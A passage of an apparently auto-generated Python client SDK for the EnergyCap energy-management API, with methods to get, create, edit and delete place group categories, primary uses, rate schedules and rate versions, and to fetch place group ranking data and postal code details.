include_all_place_group_member_in_charts.metadata = {'url': '/api/v3/placeGroup/{placeGroupId}/member/includeInCharts'}
def get_place_category(
self, category_id, custom_headers=None, raw=False, **operation_config):
"""Retrieve a Place Group Category.
:param category_id: The identifier for the place group category being
retrieved
:type category_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceCategoryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceCategoryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_category.metadata['url']
path_format_arguments = {
'categoryId': self._serialize.url("category_id", category_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceCategoryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_category.metadata = {'url': '/api/v3/placeGroup/category/{categoryId}'}
def edit_place_category(
self, category_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update a place group category.
:param category_id: Id of the category to update
:type category_id: int
:param body: Data to update the place group category
:type body: ~energycap.sdk.models.PlaceCategoryRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceCategoryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceCategoryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place_category.metadata['url']
path_format_arguments = {
'categoryId': self._serialize.url("category_id", category_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceCategoryRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceCategoryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place_category.metadata = {'url': '/api/v3/placeGroup/category/{categoryId}'}
def delete_place_category(
self, category_id, custom_headers=None, raw=False, **operation_config):
"""Delete a place group category.
:param category_id: Id of the category to delete
:type category_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_place_category.metadata['url']
path_format_arguments = {
'categoryId': self._serialize.url("category_id", category_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_place_category.metadata = {'url': '/api/v3/placeGroup/category/{categoryId}'}
def get_user_defined_auto_place_group_filters(
self, custom_headers=None, raw=False, **operation_config):
"""Gets a list of filters that can be used to create Place Groups.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_user_defined_auto_place_group_filters.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_user_defined_auto_place_group_filters.metadata = {'url': '/api/v3/placeGroup/filters'}
def recalculate_user_place_auto_group_memebership(
self, place_group_id, custom_headers=None, raw=False, **operation_config):
"""Refreshes group membership for a user defined auto group.
:param place_group_id: The place group to refresh
:type place_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupPlaceGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupPlaceGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.recalculate_user_place_auto_group_memebership.metadata['url']
path_format_arguments = {
'placeGroupId': self._serialize.url("place_group_id", place_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupPlaceGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
recalculate_user_place_auto_group_memebership.metadata = {'url': '/api/v3/placeGroup/{placeGroupId}/updateUserAutoGroup'}
def recalculate_all_user_place_auto_groups_membership(
self, custom_headers=None, raw=False, **operation_config):
"""Refreshes group membership for all user defined auto groups.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.recalculate_all_user_place_auto_groups_membership.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
recalculate_all_user_place_auto_groups_membership.metadata = {'url': '/api/v3/placeGroup/updateUserAutoGroups'}
def get_place_group_ranking(
self, group_id, data_view, chart, billing_period_option=None, start_period=None, end_period=None, commodity_id=None, high_to_low_ranking=None, show_excluded_members=None, show_zero_averages=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves ranking data by place group.
Depending on the "chart" parameter retrieved ranking data could be
cost, use, or demand per area, cost or use per day, heating sensitivity
or cooling sensitivity
Specify values for any query parameters whose database values are to be
overridden.
For the heating sensitivity and cooling sensitivity charts we sort by
weather sensitivity (slope) and exclude non-weather meters
**PLEASE NOTE: As shown in the table above, this API endpoint returns
different response types based on the "chart" value. Despite what you
see below regarding HTTP status codes for each response type, _all_ of
these response types will return 200 OK.**
| Chart | Response Type |
| ------------------ | -------------------------------------------- |
| areaCost | PlaceGroupDigestAreaRankingResponseDTO |
| areaUse | PlaceGroupDigestAreaRankingResponseDTO |
| cost | PlaceGroupDigestRankingResponseDTO |
| use | PlaceGroupDigestRankingResponseDTO |
| areaDemand | PlaceGroupDigestAreaDemandRankingResponseDTO |
| coolingSensitivity | PlaceGroupDigestWeatherRankingResponseDTO |
| heatingSensitivity | PlaceGroupDigestWeatherRankingResponseDTO |
| benchmark1Use | PlaceGroupDigestBenchmarkRankingResponseDTO |
| benchmark2Use | PlaceGroupDigestBenchmarkRankingResponseDTO |
| benchmark3Use | PlaceGroupDigestBenchmarkRankingResponseDTO |
| benchmark1Cost | PlaceGroupDigestBenchmarkRankingResponseDTO |
| benchmark2Cost | PlaceGroupDigestBenchmarkRankingResponseDTO |
| benchmark3Cost | PlaceGroupDigestBenchmarkRankingResponseDTO |.
:param group_id: The place group to retrieve data for
:type group_id: int
:param data_view: The desired data view - actual, calendarized,
normalized. Possible values include: 'actual', 'calendarized',
'normalized'
:type data_view: str
:param chart: The desired chart - areacost, areause, areademand, cost,
use, heatingsensitivity, coolingsensitivity, benchmark1use,
benchmark1cost, benchmark2use, benchmark2cost, benchmark3use,
benchmark3cost. Possible values include: 'cost', 'use', 'areaCost',
'areaUse', 'areaDemand', 'coolingSensitivity', 'heatingSensitivity',
'benchmark1Cost', 'benchmark2Cost', 'benchmark3Cost', 'benchmark1Use',
'benchmark2Use', 'benchmark3Use'
:type chart: str
:param billing_period_option: The billing period option -
last12periods, currentyear, lastfiscalyear, custom (optional).
Possible values include: 'last12Periods', 'lastYear',
'lastFiscalYear', 'custom'
:type billing_period_option: str
:param start_period: The custom start period (optional)
:type start_period: int
:param end_period: The custom end period (optional)
:type end_period: int
:param commodity_id: Id of commodity to filter by (optional)
:type commodity_id: int
:param high_to_low_ranking: Ranking from high to low, or low to high?
(optional)
:type high_to_low_ranking: bool
:param show_excluded_members: Show group members excluded from the
group? (optional)
:type show_excluded_members: bool
:param show_zero_averages: Show group members whose ranking averages
are zero? (optional)
:type show_zero_averages: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: object or ClientRawResponse if raw=true
:rtype: object or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_group_ranking.metadata['url']
path_format_arguments = {
'groupId': self._serialize.url("group_id", group_id, 'int'),
'dataView': self._serialize.url("data_view", data_view, 'str'),
'chart': self._serialize.url("chart", chart, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if billing_period_option is not None:
query_parameters['billingPeriodOption'] = self._serialize.query("billing_period_option", billing_period_option, 'str')
if start_period is not None:
query_parameters['startPeriod'] = self._serialize.query("start_period", start_period, 'int')
if end_period is not None:
query_parameters['endPeriod'] = self._serialize.query("end_period", end_period, 'int')
if commodity_id is not None:
query_parameters['commodityId'] = self._serialize.query("commodity_id", commodity_id, 'int')
if high_to_low_ranking is not None:
query_parameters['highToLowRanking'] = self._serialize.query("high_to_low_ranking", high_to_low_ranking, 'bool')
if show_excluded_members is not None:
query_parameters['showExcludedMembers'] = self._serialize.query("show_excluded_members", show_excluded_members, 'bool')
if show_zero_averages is not None:
query_parameters['showZeroAverages'] = self._serialize.query("show_zero_averages", show_zero_averages, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 201, 202, 203, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceGroupDigestAreaRankingResponse', response)
if response.status_code == 201:
deserialized = self._deserialize('PlaceGroupDigestBenchmarkRankingResponse', response)
if response.status_code == 202:
deserialized = self._deserialize('PlaceGroupDigestBenchmarkRankingResponse', response)
if response.status_code == 203:
deserialized = self._deserialize('PlaceGroupDigestWeatherRankingResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_group_ranking.metadata = {'url': '/api/v3/placeGroup/{groupId}/digest/{dataView}/{chart}'}
def get_postal_code(
self, postal_code, custom_headers=None, raw=False, **operation_config):
"""Retrieves the city, state, country, and weather station for a postal
code.
:param postal_code:
:type postal_code: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PostalCodeResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PostalCodeResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_postal_code.metadata['url']
path_format_arguments = {
'postalCode': self._serialize.url("postal_code", postal_code, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PostalCodeResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_postal_code.metadata = {'url': '/api/v3/postalcode/{postalCode}'}
def get_primary_uses(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all Primary Uses. The array of Primary Uses can be filtered
by Primary Use type. Possible values for this filter include: "meter",
"place". See the filter property for more details.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PrimaryUseResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_primary_uses.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PrimaryUseResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_primary_uses.metadata = {'url': '/api/v3/primaryuse'}
def create_primary_use(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a Primary Use.
:param body: Data representing the Primary Use being created
:type body: ~energycap.sdk.models.PrimaryUseCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PrimaryUseResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PrimaryUseResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_primary_use.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PrimaryUseCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PrimaryUseResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_primary_use.metadata = {'url': '/api/v3/primaryuse'}
def delete_primary_use(
self, primary_use_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a primary use.
:param primary_use_id: The identifier for the primary use being
deleted
:type primary_use_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_primary_use.metadata['url']
path_format_arguments = {
'primaryUseId': self._serialize.url("primary_use_id", primary_use_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_primary_use.metadata = {'url': '/api/v3/primaryuse/{primaryUseId}'}
def get_rate(
self, rate_id, custom_headers=None, raw=False, **operation_config):
"""Get a rate schedule.
:param rate_id: Unique ID of the rate schedule
:type rate_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_rate.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_rate.metadata = {'url': '/api/v3/rate/{rateId}'}
def edit_rate(
self, rate_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a rate.
:param rate_id: Unique identifier of the rate schedule to be edited
:type rate_id: int
:param body: Updated properties of the rate schedule to be edited
:type body: ~energycap.sdk.models.RateEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_rate.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'RateEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_rate.metadata = {'url': '/api/v3/rate/{rateId}'}
def delete_rate(
self, rate_id, custom_headers=None, raw=False, **operation_config):
"""Delete a rate schedule.
:param rate_id: Unique identifier of the rate schedule to be deleted
:type rate_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_rate.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_rate.metadata = {'url': '/api/v3/rate/{rateId}'}
def get_rates(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of all rate schedules matching the provided filters.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.RateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_rates.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[RateResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_rates.metadata = {'url': '/api/v3/rate'}
def create_rate(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a rate schedule.
:param body: The properties of the rate schedule to be created
:type body: ~energycap.sdk.models.RateCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_rate.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'RateCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_rate.metadata = {'url': '/api/v3/rate'}
def get_rate_version(
self, rate_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get a rate version with its details including dates, unit cost values,
and bodylines.
:param rate_id: ID of the rate schedule to retrieve
:type rate_id: int
:param version_id: ID of the rate schedule version to retrieve
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RateVersionResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RateVersionResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_rate_version.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RateVersionResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_rate_version.metadata = {'url': '/api/v3/rate/{rateId}/version/{versionId}'}
def edit_rate_version(
self, rate_id, version_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a rate schedule version.
### Validation
* Effective date of the edited version
* Must be after the effective date of the previous version
* Must be prior to the effective date of the next version
* Account and meter line items
* Subtotal calculation type is not supported
### Other Remarks
* Null values are acceptable for use and demand unit costs. However,
for chargeback bills to calculate correctly, these values must be
provided.
:param rate_id: Unique identifier of the rate schedule whose version
will be edited
:type rate_id: int
:param version_id: Unique identifier of the rate schedule version to
be edited
:type version_id: int
:param body: Updated properties of the rate schedule version to be
edited
:type body: ~energycap.sdk.models.RateVersionRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RateVersionResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RateVersionResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_rate_version.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'RateVersionRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RateVersionResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_rate_version.metadata = {'url': '/api/v3/rate/{rateId}/version/{versionId}'}
def delete_rate_version(
self, rate_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Delete a version of a rate schedule.
### Validation
* The last remaining rate version may not be deleted
### Other Remarks
* When a rate version is deleted, if there is a preceding rate version,
then its end date will be reset to the end date of the deleted rate
version.
:param rate_id: Unique identifier of the rate schedule to which the
version being deleted belongs
:type rate_id: int
:param version_id: Unique identifier of the rate schedule version to
delete
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_rate_version.metadata['url']
path_format_arguments = {
'rateId': self._serialize.url("rate_id", rate_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_rate_version.metadata = {'url': '/api/v3/rate/{rateId}/version/{versionId}'}
def get_rate_versions(
self, rate_id, custom_headers=None, raw=False, **operation_config):
"""Get a list of all versions for a rate schedule with their details
including dates, unit cost values, and bodylines.
:param rate_id: ID of the rate schedule to retrieve
:type rate_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.RateVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_rate_versions.metadata['url']
